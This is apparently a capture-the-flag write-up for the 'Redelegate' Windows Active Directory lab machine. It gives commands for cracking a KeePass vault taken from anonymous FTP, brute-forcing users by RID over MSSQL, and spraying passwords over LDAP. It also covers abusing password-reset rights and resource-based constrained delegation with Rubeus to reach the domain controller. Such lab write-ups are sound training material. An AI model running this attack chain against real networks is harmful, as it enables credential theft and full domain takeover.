Skip to main content

Machine (Hard) - Redelegate

Writeup for the Redelegate machine, a challenging Windows-based Active Directory environment, focusing on exploiting weak password policies and misconfigured delegation rights to achieve full domain compromise.

Writeup Author: BobBuilder


Objective: Gain initial access through anonymous FTP, crack a KeePass database to retrieve credentials, and leverage misconfigured ACLs and delegation rights for lateral movement and domain compromise.

Category Difficulty Platform Machine Author
Machine Hard Windows geiseric


Enumeration

We start with an Nmap scan to identify open ports and services on the target.

nmap -sC -sV -p- <redelegate_ip>

We find:

  • Anonymous FTP (21) with readable files
  • Microsoft IIS (80), SQL Server (1433, 49932)
  • Kerberos (88), LDAP (389), SMB (445), WinRM (5985), RDP (3389)

This suggests an AD environment with both file access and potential lateral movement options.


User Access

Step 1: Accessing Files via Anonymous FTP

We find anonymous FTP is enabled, so we connect and list the available files:

ftp anonymous@redelegate.vl
ftp> binary
ftp> get Shared.kdbx

We download a KeePass vault (Shared.kdbx), which may contain credentials.

Step 2: Cracking the KeePass Vault

We extract the hash from the KeePass database:

keepass2john Shared.kdbx > hash.txt

An audit file retrieved from the same FTP share hints that users rely on weak passwords in the format SeasonYear!.

└─$ cat CyberAudit.txt       
OCTOBER 2024 AUDIT FINDINGS  
  
[!] CyberSecurity Audit findings:  
  
1) Weak User Passwords  
2) Excessive Privilege assigned to users  
3) Unused Active Directory objects  
4) Dangerous Active Directory ACLs  
...

We generate a wordlist accordingly:

seasons=("Spring" "Summer" "Fall" "Winter")
years=($(seq 2023 2025))
for season in "${seasons[@]}"; do
  for year in "${years[@]}"; do
    echo "${season}${year}!"
  done
done > season_passwords.txt

We crack the KeePass hash using John and this custom wordlist:

john --wordlist=season_passwords.txt hash.txt

We recover the master password.

Step 3: Extracting Credentials from KeePass

We open the KeePass file with kpcli:

kpcli
open Shared.kdbx
ls Shared/*

We extract several credentials, notably:

  • SQLGuest / <redacted>
  • FS01 Admin / <redacted>
  • FTPUser / <redacted>

We decide to try the SQL credentials next.

Step 4: MSSQL Access with KeePass Credentials

We confirm MSSQL login is possible using the extracted SQLGuest credentials:

impacket-mssqlclient DC/SQLGuest:<redacted>@redelegate.vl -target-ip <redelegate_ip>

The SQL account has limited access, but it's part of the domain. We want to enumerate users to find more useful accounts.

Step 5: Domain User Enumeration

We use the valid credentials to brute-force RID values and enumerate domain users.

(Note) I wrote a small Python script to automate this: MSSQL-RID-based-SID-Brute-Forcer

python3 brute_sid.py DC/SQLGuest:'<redacted>'@redelegate.vl -target-ip <redelegate_ip> --output domain_users.txt

We find numerous domain users, including Marie.Curie, Helen.Frost, and Ryan.Cooper.

Step 6: Validating Credentials with Wordlist

Since the audit also mentioned weak passwords, we try our season_passwords.txt against the enumerated usernames using LDAP auth:

nxc ldap redelegate.vl -u domain_users.txt -p season_passwords.txt

We find that Marie.Curie with the password <redacted>.

Step 7: Exploring Permissions of Marie.Curie

We check for SPNs, AS-REP roastability, and group memberships:

impacket-GetUserSPNs -target-domain redelegate.vl -usersfile users.txt redelegate.vl/Marie.Curie:'<redacted>' -no-pass

Step 8: Resetting Helen.Frost's Password

We find that Marie.Curie is part of the Helpdesk group and has permission to reset the password for Helen.Frost.

We want to impersonate a more privileged user. Helen.Frost is in the IT group and has GenericAll rights over the computer object FS01.

We use BloodyAD to reset her password:

python3 bloodyAD.py -d redelegate.vl -u Marie.Curie -p '<redacted>' --host <redelegate_ip> set password "HELEN.FROST" "Password1"

Step 9: Accessing the Machine via WinRM

Now that we control Helen.Frost, we log in with WinRM:

evil-winrm -i <redelegate_ip> -u 'HELEN.FROST' -p 'Password1'

Inside the session, we confirm she has the SeEnableDelegationPrivilege, allowing us to configure delegation settings.


Root Access

Step 1: Set FS01$ Password

To set up RBCD, we need control over FS01's machine account. We reset its password using BloodyAD:

python3 bloodyAD.py -d redelegate.vl -u HELEN.FROST -p 'Password1' --host <fs01_ip> set password "FS01$" 'Password1'

Step 2: Add an SPN to FS01$

We assign a service principal name that matches the target DC:

setspn -S HOST/dc.redelegate.vl FS01$

Step 3: Configure Resource-Based Constrained Delegation

We allow Helen.Frost to be delegated by FS01$:

Set-ADComputer FS01 -PrincipalsAllowedToDelegateToAccount HELEN.FROST

We confirm the delegation settings:

Get-ADComputer FS01 -Properties *

Step 4: Select a Target for Impersonation

We want to impersonate a high-value user. We list accounts with AccountNotDelegated = False:

Get-ADUser -Filter * -Properties 'AccountNotDelegated' | Where-Object { $_.AccountNotDelegated -eq $false }

We choose Ryan.Cooper.

Step 5: Generate TGS Using S4U2Proxy

We use Rubeus to hash FS01$ credentials:

.\Rubeus.exe hash /password:Password1 /user:FS01$ /domain:redelegate.vl

Then, request a service ticket for Ryan.Cooper:

Rubeus.exe s4u /user:FS01$ /rc4:<rc4_hash> /impersonateuser:Ryan.Cooper /msdsspn:cifs/dc.redelegate.vl /domain:redelegate.vl /dc:<fs01_ip> /ptt /nowrap /outfile:output.kirbi

Step 6: Use Ticket to Access the DC

We convert the ticket and set our Kerberos cache:

echo "<base64>" | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/home/kali/ticket.ccache

With the valid ticket, we access the DC:

impacket-wmiexec -k -no-pass redelegate.vl/Ryan.Cooper@dc.redelegate.vl